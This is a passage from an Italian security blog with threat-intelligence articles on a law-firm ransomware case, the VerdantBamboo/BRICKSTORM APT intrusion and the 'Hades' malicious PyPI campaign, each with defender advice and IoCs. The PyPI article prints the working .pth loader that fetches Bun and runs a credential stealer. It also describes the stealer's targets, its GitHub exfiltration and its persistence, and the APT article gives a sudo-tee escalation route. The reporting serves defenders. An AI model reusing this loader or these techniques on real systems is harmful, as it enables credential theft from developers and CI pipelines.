Le richieste di riscatto variano significativamente in base alla dimensione dell’organizzazione target: secondo EclecticIQ i range storici vanno da 1 a 8 milioni di dollari. Il caso Weil Gotshal — con 18-20 milioni — rappresenta un massimo storico documentato per questa famiglia, coerente con il profilo ultra-premium della law firm target.

Perché le law firm sono il target ideale

Le law firm concentrano un livello di riservatezza dei dati che pochi altri settori possono eguagliare: memorie difensive in contenziosi attivi, documenti M&A pre-annuncio, segreti industriali, comunicazioni privilegiate attorney-client, strategie fiscali. La minaccia di pubblicazione crea pressioni sia sulla firma sia sui clienti rappresentati — un effetto moltiplicatore che rende la negoziazione più probabile rispetto ad altri settori. Alcuni dei clienti più importanti di Weil includono aziende Fortune 500, fondi private equity e istituzioni finanziarie: la pubblicazione di loro documenti strategici avrebbe conseguenze che vanno ben oltre il danno reputazionale della firma.

Due righe per i difensori

• Verifica out-of-band dell’identità: qualsiasi richiesta di accesso remoto da presunto personale IT deve essere verificata tramite canale separato (non il numero fornito dal chiamante). Istituire procedure di autenticazione per gli interventi tecnici da remoto.
• Politiche di accesso fisico: nessun tecnico esterno deve poter connettere dispositivi USB o storage alle macchine aziendali senza autorizzazione documentata e supervisione. Badge visitatori con registrazione obbligatoria.
• Allowlist degli strumenti RMM: bloccare l’installazione di RMM tool non approvati (AnyDesk, ConnectWise, TeamViewer e simili) tramite application control.
• DLP e monitoraggio esfiltrazione: alert su uso anomalo di WinSCP o rclone, trasferimenti bulk verso storage cloud esterni, accessi insoliti a repository documentali fuori orario.
• Formazione specifica sul vishing: simulazioni di callback phishing e IT impersonation per tutti i dipendenti, con enfasi sul non fornire mai accesso remoto a chiamanti inbound non verificati.
• MFA resistente al phishing: FIDO2/hardware token per tutti gli accessi ai sistemi documentali.

Fonti: The Insurer, BleepingComputer, FBI FLASH-20260526-01, EclecticIQ, Dark Reading

(in)sicurezza digitale

2026-06-07 10:34:43

VerdantBamboo (UNC5221): il gruppo APT cinese che resta invisibile per 18 mesi con tre backdoor inedite

Per diciotto mesi, il gruppo APT cinese VerdantBamboo ha vissuto nell’ombra delle reti di una grande organizzazione statunitense e del suo managed service provider, dispiegando tre famiglie di backdoor su appliance di rete prive di copertura EDR. La ricostruzione completa dell’incidente, pubblicata il 4 giugno 2026 dai ricercatori di Volexity, rivela un threat actor di straordinaria sofisticazione operativa, capace di reinfettare la rete vittima pochi giorni dopo la remediation.

Chi è VerdantBamboo (UNC5221 / WARP PANDA)

VerdantBamboo è il nome interno adottato da Volexity per il gruppo noto anche come UNC5221 (Mandiant) e WARP PANDA. Si tratta di un attore state-sponsored di origine cinese attivo almeno dal 2023, specializzato nello sfruttamento di zero-day su dispositivi di rete perimetrali: Ivanti Connect Secure, F5 BIG-IP, VMware vSphere e, in questo caso, appliance Linux proprietarie. Google Cloud Threat Intelligence e CISA hanno documentato più volte le sue campagne, con un filo conduttore costante: il deployment di BRICKSTORM su sistemi che non supportano agenti EDR, rendendo il rilevamento quasi impossibile con gli strumenti tradizionali.

Il vettore iniziale: Egnyte Storage Sync e una privilege escalation trascurata

In settembre 2025, Volexity viene coinvolta in un incident response dopo che un analista nota traffico anomalo proveniente da una macchina virtuale Linux con Egnyte Storage Sync. L’appliance, invece di connettersi ai server Egnyte, beacona verso un dominio controllato dall’attaccante nascosto dietro IP Cloudflare, e interroga 8.8.8.8 tramite DNS over HTTPS per evitare lookup DNS tracciabili.

L’ingresso iniziale è avvenuto attraverso credenziali SSH compromesse per l’account egnyteservice, il cui profilo sudo conteneva una misconfiguration critica: il comando tee era eseguibile come root, consentendo la scrittura arbitraria di file su tutto il filesystem. VerdantBamboo ha sfruttato questa escalation per scrivere un entry cron in /etc/cron.d/ssync, eseguire il backdoor BRICKSTORM posizionato in /usr/sbin/, e poi rimuovere il file cron per minimizzare le tracce. Il compromesso risaliva ad almeno 18 mesi prima della scoperta. Egnyte ha poi corretto la vulnerability nella versione Storage Sync v13.13.

La catena d’attacco: dall’MSP alla Microsoft 365

Una volta sul sistema Storage Sync, VerdantBamboo ha sfruttato le capacità proxy di BRICKSTORM per accedere all’ambiente Microsoft 365 della vittima attraverso gli IP del VPN SSL aziendale, bypassando così le Conditional Access Policy che avrebbero bloccato accessi da IP sconosciuti. L’obiettivo era mimetizzarsi nel traffico legittimo.

Parallelamente, l’MSP che gestiva il sistema era stato anch’esso compromesso. Volexity ha trovato sul firewall pfSense dell’MSP una variante FreeBSD di BRICKSTORM, offuscata con gobfuscate, con backdating della compromissione di almeno 18 mesi. Con ogni probabilità, l’attaccante si era introdotto nell’organizzazione vittima passando prima per l’MSP, rubando credenziali e dettagli infrastrutturali.

Il ritorno dopo la remediation: persistenza da manuale

Pochi giorni dopo che Volexity aveva completato le attività di contenimento — isolando il sistema Storage Sync e portando offline il VPN SSL — VerdantBamboo è tornato. Il firewall della vittima, ora esposto direttamente su Internet dopo la dismissione del vecchio VPN, era accessibile via interfaccia amministrativa web. Usando credenziali amministrative rubate (senza MFA), l’attaccante ha riconfigurato un VPN SSL sul firewall, si è riconnesso alla rete interna e ha deployato PLENET su un NAS Synology. Un secondo ciclo di remediation si è reso necessario.

Le tre backdoor: BRICKSTORM, PLENET e AGENTPSD

BRICKSTORM è il malware principale del gruppo, con varianti scritte in Golang (le più vecchie) e Rust. Il design è modulare: il namespace wssoft contiene protocol handler, task dispatcher e task extensions che il developer può personalizzare per ogni target. Nelle varianti analizzate, i task extension attivi sono tre: command (shell remota), socks (proxy SOCKS5) e web (accesso al filesystem). Il C2 usa WebSocket su HTTPS, con risoluzione DNS over HTTPS verso 8.8.8.8 per evitare query tracciabili.

PLENET (chiamato GRIMBOLT da Google Cloud) è un backdoor cross-platform scritto in .NET Core e compilato con Native AOT — una funzionalità introdotta in .NET 7 nel novembre 2022 che produce un binario nativo standalone con il runtime embedded. La scelta di Native AOT è deliberata: l’immaturity degli strumenti di analisi per questo formato complica notevolmente il reverse engineering. PLENET usa anch’esso WebSocket per il C2 e la libreria Nerdbank.Streams per multiplexing, richiamando lo stesso schema architetturale di BRICKSTORM. Capacità: shell interattiva, esecuzione remota di comandi, manipolazione file, switching del server C2.

AGENTPSD è una semplice reverse shell Python compilata con PyInstaller, configurata per connettersi a un dominio C2 diverso da quello usato da BRICKSTORM. Il suo ruolo è esclusivamente di fallback: se BRICKSTORM venisse rimosso o smettesse di funzionare, AGENTPSD garantirebbe un percorso di rientro alternativo. Significativamente, durante l’intero periodo dell’intrusione AGENTPSD non è mai stato utilizzato attivamente — BRICKSTORM era sempre disponibile.

L’infrastruttura C2 e la risposta alle investigazioni

Volexity ha sviluppato una fingerprint Censys per identificare i server C2 di BRICKSTORM: una risposta HTTP di lunghezza zero (Golang HTTP server), SSH su FreeBSD, certificato Cloudflare, massimo quattro servizi esposti. Questa firma ha consentito di mappare diversi server C2. Tuttavia, tra il 18 e il 23 settembre 2025, tutti i server che corrispondevano al pattern hanno disattivato i servizi sulla porta 443. Il 24 settembre Google ha pubblicato un nuovo report su BRICKSTORM. Volexity valuta con bassa confidenza che VerdantBamboo fosse consapevole di essere sotto investigazione e abbia volontariamente smantellato l’infrastruttura esposta.

Due righe per i difensori

Il caso VerdantBamboo mette in luce vulnerabilità sistemiche difficili da correggere con gli strumenti tradizionali. Le raccomandazioni chiave emerse dall’analisi di Volexity sono le seguenti: applicare MFA su tutti gli accessi amministrativi, inclusi VPN e interfacce di gestione dei firewall; monitorare il traffico verso DNS over HTTPS su endpoint non previsti; estendere il perimetro di monitoraggio alle appliance di rete (NAS, firewall, appliance cloud sync) che non supportano EDR, eventualmente tramite network security monitoring; verificare le configurazioni sudo su tutte le appliance Linux gestite; assicurarsi che i fornitori MSP applichino gli stessi standard di sicurezza dell’organizzazione committente.

Indicatori di Compromissione (IoC)

## AGENTPSD
# Nome file: egnyte_host_monitor_client
MD5:    98ee964edeb5a988c3bba8ea1e57fe0e
SHA1:   e952c18272efa1c3d73d0a5381bcf443c02743fe
SHA256: ee41e06ed96182ce80cd4544a6abd5d7719c4a5c0e5ddb266a83842d39b99b0a
## BRICKSTORM (Egnyte Storage Sync – Linux)
# Nome file: luserput
MD5:    58d4eccc982c9e9b1b98aa62c514e53a
SHA1:   f4d77958a12a0778283d3e679b24b18f82e332c4
SHA256: 40d264cf9c73923932c3dfd52d20f46ff602be3fea8dc6ecc71aca46e6067bf5
## BRICKSTORM (pfSense – FreeBSD, gobfuscated)
# Nome file: blacklist
MD5:    84ad78b2bab946c3677fdc28ebd8a774
SHA1:   681075027553546c119ec447eb8df84633dcffce
SHA256: f70abe93112637d3ec2f6c5e058ccac0307ebf63e496f38588cbfc17a8f8a264
## PLENET (aka GRIMBOLT, .NET Native AOT)
# Nome file: ovs-dbctl
MD5:    95dc2289427ed29b8b996d0e3d1b78cb
SHA1:   f8d93c1769e877aae7e7d5c289a467b5ae371c7a
SHA256: eb141a43958802727a6c813452450c10b92704bea4474ee5fd87c0a1be326e2e
## Censys fingerprint per C2 BRICKSTORM
host.service_count<=4 AND host.services:(banner_hash_sha256:"e28a96f983b8605decd2ac1db16ebad5fa741a6aa4e585a38ade0e5ad7d6cec0" AND port=443) AND host.services.cert.parsed.issuer.organization="CloudFlare, Inc." AND host.services:(port=22 AND software.vendor:openbsd)
## IoC completi (Volexity GitHub)
https://github.com/volexity/threat-intel/tree/main/2026/2026-06-04%20VerdantBamboo

(in)sicurezza digitale

2026-06-07 10:33:46

Campagna Hades colpisce PyPI: 37 pacchetti malevoli della famiglia Shai-Hulud/Miasma rubano credenziali sviluppatori

Il team di ricerca di Socket ha identificato 37 wheel artifact malevoli distribuiti su 19 pacchetti PyPI, parte di una campagna di supply chain attack denominata “Hades” — un ramo evolutivo della nota famiglia Shai-Hulud/Miasma. Il vettore è sofisticato: un file *-setup.pth iniettato nei pacchetti scarica silenziosamente il runtime JavaScript Bun ed esegue uno stealer multi-target che colpisce sviluppatori, pipeline CI/CD e credenziali cloud.

La famiglia Shai-Hulud/Miasma: un attore in continua evoluzione

Shai-Hulud e Miasma non sono nomi nuovi nell’ecosistema del threat intelligence. La famiglia è attiva da mesi e ha già colpito pacchetti npm gestiti da Red Hat Cloud Services (giugno 2026), pacchetti Packagist tramite la campagna Famous Chollima (Corea del Nord), e ora approda su PyPI con una variante battezzata “Hades”. Il modus operandi rimane invariato nel core: abuso dei canali di distribuzione di fiducia, esecuzione prima che il codice legittimo venga invocato, payload JavaScript offuscato eseguito tramite il runtime Bun, esfiltrazione verso GitHub.

La scoperta è stata segnalata inizialmente dall’incident responder boredchilada su Bluesky, che ha taggato Socket poco dopo la pubblicazione dei pacchetti compromessi. La deobfuscation di _index.js ha confermato l’attribuzione alla stessa famiglia, rivelando però un cambio tematico: invece dei riferimenti a Zelda usati in campagne Miasma precedenti, questa ondata usa elementi mitologici greci — con marker GitHub come Hades - The End for the Damned e nomi di repository generati da componenti come stygian, tartarean, cerberus, charon, styx.

Il meccanismo di infezione: il file .pth come primitiva di esecuzione automatica

L’elemento tecnico più critico di questa campagna è lo sfruttamento dei file .pth di Python — un vettore raramente usato in attacchi su larga scala. Il modulo site di CPython processa automaticamente questi file all’avvio dell’interprete: le righe che iniziano con import vengono eseguite, indipendentemente dal fatto che il pacchetto compromesso venga mai importato dall’applicazione target.

Questo significa che l’installazione di un pacchetto infetto trasforma qualsiasi successiva invocazione di Python — un test, una pipeline CI, un notebook Jupyter, o semplicemente un pip install — in un trigger di esecuzione del codice malevolo. Il loader estratto dai wheel esegue questa sequenza:

• Verifica la presenza del sentinel /tmp/.bun_ran per evitare esecuzioni ripetute
• Localizza il payload _index.js nella directory del pacchetto
• Scarica il runtime Bun v1.3.13 da GitHub se non già presente in /tmp/b/bun
• Esegue bun run _index.js e scrive il sentinel

# Loader estratto dal *-setup.pth (forma normalizzata)
import glob, os, platform, subprocess, sys, tempfile, urllib.request, zipfile
sentinel = os.path.join(tempfile.gettempdir(), ".bun_ran")
if not os.path.exists(sentinel):
    base = os.path.dirname(__file__)
    payload = os.path.join(base, "_index.js")
    if not os.path.exists(payload):
        candidates = glob.glob(os.path.join(base, "*", "_index.js"))
        payload = candidates[0] if candidates else ""
    bun = os.path.join(tempfile.gettempdir(), "b", "bun")
    if not os.path.exists(bun):
        arch = "aarch64" if platform.machine() == "arm64" else "x64"
        os_name = {"linux":"linux","darwin":"darwin","win32":"windows"}.get(sys.platform,"linux")
        zip_path = os.path.join(tempfile.gettempdir(), "b.zip")
        urllib.request.urlretrieve(
            f"https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/bun-{os_name}-{arch}.zip",
            zip_path)
        zipfile.ZipFile(zip_path).extract(os.path.basename(bun), os.path.dirname(bun))
        os.chmod(bun, 0o775)
    subprocess.run([bun, "run", payload], check=False)
    open(sentinel, "w").close()

Payload deobfuscation: quattro strati di protezione

Il file _index.js è protetto da quattro strati di offuscamento progressivo: un wrapper try { eval(...) } che decodifica un array di char-code con sostituzione ROT-style; uno stage AES-GCM che decripta due blob embedded e scrive il payload principale in /tmp/p*.js; un bootstrapper Bun che gestisce il download del runtime; infine il payload principale, con rotated string table, decoder PBKDF2/SHA256 e un ulteriore strato AES-256-GCM con gzip.

Una volta deoffuscato, il payload è un credential stealer ad ampio spettro ottimizzato per ambienti di sviluppo: token GitHub (inclusi ghs_* e GitHub Actions runner secrets), npm, PyPI, RubyGems, JFrog, CircleCI, Anthropic. Sul fronte cloud: AWS credentials, STS, SSM Parameter Store, Secrets Manager; GCP Secret Manager; Azure Key Vault; Kubernetes service-account tokens; HashiCorp Vault. Vengono inoltre esfiltrate chiavi SSH, Docker configs, shell histories, file .env, .npmrc, .pypirc, configurazioni Claude/MCP e dati wallet.

Esfiltrazione via GitHub: camouflage su Anthropic API

Il payload include due percorsi di esfiltrazione. Il primo — apparentemente verso api.anthropic.com/v1/api — è di fatto un meccanismo di camouflage di rete: la route non esiste sui server Anthropic (restituisce 404), ma il traffico verso questo host ubiquo confonde i SIEM e rende difficile il blocco automatico. Il canale reale è GitHub: il payload crea repository pubblici con POST /user/repos, vi esegue commit di dati esfiltrati sotto path results/results-<timestamp>-<counter>.json, e può abusare di GitHub Actions per caricare artifact denominati format-results.

Il payload include anche meccanismi di persistenza post-compromissione: installa gh-token-monitor.sh come servizio systemd su Linux o LaunchAgent su macOS, e deposita file .claude/setup.mjs e .github/setup.js — estendendo il vettore di attacco agli ambienti di AI-assisted coding e workflow CI.

I pacchetti compromessi

I 37 artifact colpiscono 19 pacchetti riconducibili a un singolo account maintainer compromesso. I pacchetti ad alto impatto includono dynamo-release (framework per RNA-velocity single-cell), spateo-release (analisi trascrittomica spaziale), coolbox (toolkit Jupyter per genomica Hi-C/ChIP-Seq), e i tool ufish/napari-ufish per deep-learning. I download cumulativi di questi pacchetti si misurano in centinaia di migliaia. Il totale degli artifact compromessi monitorati da Socket attraverso npm e PyPI raggiunge 448.

Indicatori di Compromissione (IoC)

## Pacchetti PyPI compromessi (selezione)
bramin@0.0.2, @0.0.3, @0.0.4
cmd2func@0.2.2, @0.2.3
coolbox@0.4.1, @0.4.2
dynamo-release@1.5.4
executor-engine@0.3.4, @0.3.5
executor-http@0.1.3, @0.1.4
napari-ufish@0.0.2, @0.0.3
spateo-release@1.1.2
ufish@0.1.2, @0.1.3
uprobe@0.1.3, @0.1.4
## File malevoli
*-setup.pth
_index.js
## Hash SHA256
c539766062555d47716f8432e73adbe3a0c0c954a0b6c4005017a668975e275c
dc48b09b2a5954f7ff79ab8a2fd80202bd3b59c08c7cdbc6025aa923cb4c0efe
## Path filesystem
/tmp/.bun_ran
/tmp/b.zip  |  /tmp/b/bun
~/.config/gh-token-monitor/
~/.local/bin/gh-token-monitor.sh
~/.config/systemd/user/gh-token-monitor.service
~/Library/LaunchAgents/com.github.token-monitor.plist
## Network
hxxps://github[.]com/oven-sh/bun/releases/download/bun-v1.3.13/
hxxps://api[.]anthropic[.]com/v1/api  (camouflage - non funzionale)
## Marker GitHub esfiltrazione
Repository description: "Hades - The End for the Damned"
Commit marker: "IfYouYankThisTokenItWillNukeTheComputerOfTheOwnerFully"
Workflow name: "Run Copilot"
Artifact name: "format-results"
Path pattern: results/results-*.json

Due righe per i difensori

Chi ha installato versioni compromesse deve rimuovere i pacchetti, ricostruire gli environment e ruotare immediatamente tutte le credenziali accessibili: token GitHub/GitHub Actions, chiavi PyPI/npm/RubyGems, credenziali AWS/GCP/Azure/Kubernetes, token CircleCI e HashiCorp Vault, chiavi SSH e Docker credentials. A livello di detection statica, qualsiasi wheel PyPI contenente un file .pth eseguibile con download di runtime remoti e subprocess execution va trattato come alto rischio. A runtime, monitorare la catena python -> bun -> _index.js e connessioni verso github.com/oven-sh/bun/releases/download/. Sul fronte GitHub, ricercare negli organization log i marker Hades sopra elencati.

Fonte principale: Socket Research Team — socket.dev/blog/shai-hulud-descends-to-hades-miasma-pypi-wave

Shai-Hulud Descends to Hades: Miasma Worm Campaign Spreads w...

Socket found 37 malicious PyPI wheels that abuse Python startup hooks to launch a Bun-powered credential stealer tied to Mini Shai-Hulud/Miasma.

^{Socket Research Team (Socket)}